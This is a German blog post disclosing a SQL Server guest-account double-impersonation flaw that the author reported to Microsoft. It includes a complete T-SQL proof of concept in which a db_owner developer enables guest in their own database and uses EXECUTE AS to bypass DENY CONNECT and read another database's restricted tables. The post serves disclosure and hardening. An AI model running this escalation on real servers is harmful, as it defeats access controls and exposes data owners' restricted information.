Sicherheitsproblem: Gast-Gast-Identitätswechsel

Vor beinahe einem Jahr entdeckte ich ein Problem mit SQL Server (alle Versionen von 2005-2008 R2, 2000 habe ich nicht getestet) in Bezug auf die Nutzung des Gastkontos und Identitätswechsel.

Das wurde auch von Ralf Dietrich und mir auf dem SQL Server PASS Summit 2009 in Seattle präsentiert, wo wir Microsoft darüber informierten. – Danke an Jack Richins von Microsoft für seine Hilfe, die Grundursache zu finden. (MSDN-blog post)

Leider wurde für SQL Server noch kein Fix bereitgestellt. So wie ich informiert wurde, wird es erst in der nächsten größeren Version repariert, Codename „Denali.“ Hier ist das Connect-Item: https://connect.microsoft.com/SQLServer/feedback/details/509379/guest-activated-in-2-databases-leads-to-inconsistent-behaviour-and-may-also-compromise-security

Vor kurzem habe ich diese Technik wieder auf der SQLCon in Mainz demonstriert und finde, dass ich jetzt darüber bloggen sollte.

Dieses Problem trifft auf einige Szenarien zu, wovon ich hier ein gängigeres zeigen will.

Ein Szenarium ist, dass Entwicklern, ob extern oder nicht, manchmal oder sogar oft übermäßige Rechte in einer bestimmten Datenbank gegeben werden – auf demselben Server, wo es andere Datenbanken gibt, die „öffentliche“ Daten enthalten können. Doch „öffentlich“ vielleicht nur für die interne Nutzung und nicht für externe Entwickler.

Das wird auf folgende Weise vollbracht: eine Datenbank, nennen wir sie mal „InternalPublicData“, hat das Gastkonto aktiviert, und Gast hat Berechtigungen zu sehen, was immer für interne Sachen interessant ist.

Um einen Zugriff auf diese Datenbank für ein bestimmtes Login zu verhindern, wird ein Datenbanknutzer in dieser Datenbank explizit erstellt, so dass das Login nicht mit dem Gast übereinstimmt und ihm jegliche Ressourcen in dieser Datenbank verweigert werden. Man könnte sogar eine Connect-Berechtigung zur Datenbank verweigern, um es noch mehr zu sichern.

Doch das hilft auch nicht, wie ihr gleich sehen werdet.

Außerdem ist da die Datenbank, wo der Entwickler volle Berechtigungen haben wird, so dass er in seiner Datenbank arbeiten und innen alles machen kann. Er könnte dbo oder Mitglied der db_owner-role sein. (Leider ziemlich häufig aufgrund von Einschränkungen beim Verwenden von db_ddladmin etc.).

Und jetzt beginnen die Schwierigkeiten: der Entwickler, nennen wir ihn mal „Dev0“, schafft es nicht, sich mit der InternalPublicData-Datenbank zu verbinden und dort als Gast zu agieren. Doch was er tun kann, ist folgendes: er kann Gast in seiner eigenen Datenbank aktivieren.

Auf diese Weise kann er die Identität seines lokalen Gasts annehmen und dann, da er nicht mehr „Dev0“ ist, auf die InternalPublicData-Datenbank gehen und sich erfolgreich verbinden.

In diesem Stadium hat er bereits alle Berechtigungen, die bereits mit dem Remote-Gastkonto direkt verbunden sind. Doch das ist nicht alles. Er kann dann einen zweiten Identitätswechsel machen und Rollenmitgliedschaften des Gasts auf der InternalPublicData-Datenbank erhalten!

Kein „Deny“ für Dev0 kann das verhindern!

Als eine zweite Option könnte er, mit den Berechtigungen zur Erstellung eines „Nutzers ohne Login“, die Identität dieses Nutzers annehmen und sie dazu verwenden, um auf andere Datenbanken zu springen, wo Gast aktiv ist…

Im Folgenden ist ein Skript, um das zu demonstrieren:

–Login:
CREATE LOGIN Dev0
WITH PASSWORD = ‚Pa$$w0rd‘
GO

/* setup DBs*/
create database InternalPublicData;
create database DevelopmentDB;
GO

–Target-DB
use InternalPublicData;
grant connect to guest;

create table t1(c1 int)
insert into t1 values(1)

create table t2(c1 int)
insert into t2 values(2)

GRANT SELECT
ON dbo.t1
TO guest    — and only guest

exec sp_addrolemember ‚db_datareader‘, ‚guest‘    — — nur um auf die Tatsache hinzuweisen, dass diese Gastkontos tatsächlich noch unterschiedlicherer sind

CREATE USER Dev0 FOR LOGIN Dev0    — keine Mitgliedschaften, daher alles verweigert und nicht automatisch mit Gast übereinstimmend

DENY CONNECT TO Dev0    — um SICHER zu gehen!

— DB 2
use DevelopmentDB;

CREATE USER Dev0 FOR LOGIN Dev0

EXEC sp_addrolemember N’db_owner‘, N’Dev0′
GO

GO

/* Setup finish */

/* Session as Dev0 */

EXECUTE AS LOGIN = ‚Dev0‘

— Who and Where am I
SELECT CURRENT_USER AS CURRENT_USER_Name
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database

use InternalPublicData;    — nicht möglich mit Deny Connect

SELECT * FROM t1    — ohne Deny Connect wird er hier verweigert

execute as user = ‚guest‘;        — er kann dies NICHT auf der Remote DB machen (soweit gut)

— Teil I:

— zurückgehen
USE DevelopmentDB

execute as user = ‚guest‘;        — nicht aktiv

grant connect to guest;    — aber als ein „Dev“ mit exzessiven Berechtigungen kann er tun, was er will

exec sp_addrolemember ‚db_datawriter‘, ‚guest‘    — nur damit man die Gastkonten leichter unterscheiden kann

execute as user = ‚guest‘;        — jetzt sind wir dabei

— Wer und wo bin ich
SELECT CURRENT_USER AS CURRENT_USER_Name
, USER_NAME()    AS DBUser
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database

select * from sys.user_token;    — jetzt wurde er wirklich Gast in der DevelopmentDB

— Ende von Teil I

— Teil II: Gast verwenden, um als Gast auszuführen

USE InternalPublicData;        — wir haben uns als Gast verbunden – kein Deny für Dev0 zutreffend!!

SELECT CURRENT_USER AS CURRENT_USER_Name
, USER_NAME()    AS DBUser
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database
select * from sys.user_token;    — er wurde Gast in der Remote-DB

SELECT * FROM dbo.t1        — Berechtigungen auf Nutzer(Gast-)Ebene funktionieren bereits!

SELECT * FROM dbo.t2        — funktioniert nicht, da Berechtigung für Rolle nicht zutreffend

— ABER: explizit zu InternalPublicData Gast wechseln
execute as user = ‚guest‘;        — JETZT kann „Dev0“ es in der Ziel-DB machen

SELECT CURRENT_USER AS CURRENT_USER_Name
, USER_NAME()    AS DBUser
, SYSTEM_USER AS SYSTEM_USER_Name
, ORIGINAL_LOGIN() AS ORIGINAL_LOGIN_Name
, DB_NAME() AS Current_Database
select * from sys.user_token;    — er wurde Gast mit Gruppenmitgliedschaft in der Ziel-DB

SELECT * FROM dbo.t2            — kann jetzt auch Daten durch Rollenmitgliedschaft lesen

— Ende von Teil II: Gast verwenden, um als Gast auszuführen
/* back off step by step */

USE InternalPublicData
revert;

USE DevelopmentDB
revert;

revert;

USE InternalPublicData
revert;

/* Finished */

USE master;
DROP DATABASE InternalPublicData;
DROP DATABASE DevelopmentDB;
DROP LOGIN Dev0

Es gibt nur eine Option, um sicher zu sein, dass Ihr System vor Entwicklern sicher ist: Entwicklung nicht mit Produktion vermischen – nicht mal auf Server-Ebene!

Das sollte absolut klar sein, doch ich werde das wiederholen, solange ich gemischte Umgebungen auf Kundenseiten sehe. Leider ist das sehr häufig.

Und zweitens: niemals das Gastkonto für Daten verwenden, die nicht wirklich für jeden bestimmt sind.

0 Kommentare

Hinterlasse einen Kommentar

An der Diskussion beteiligen?
Hinterlasse uns deinen Kommentar!

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert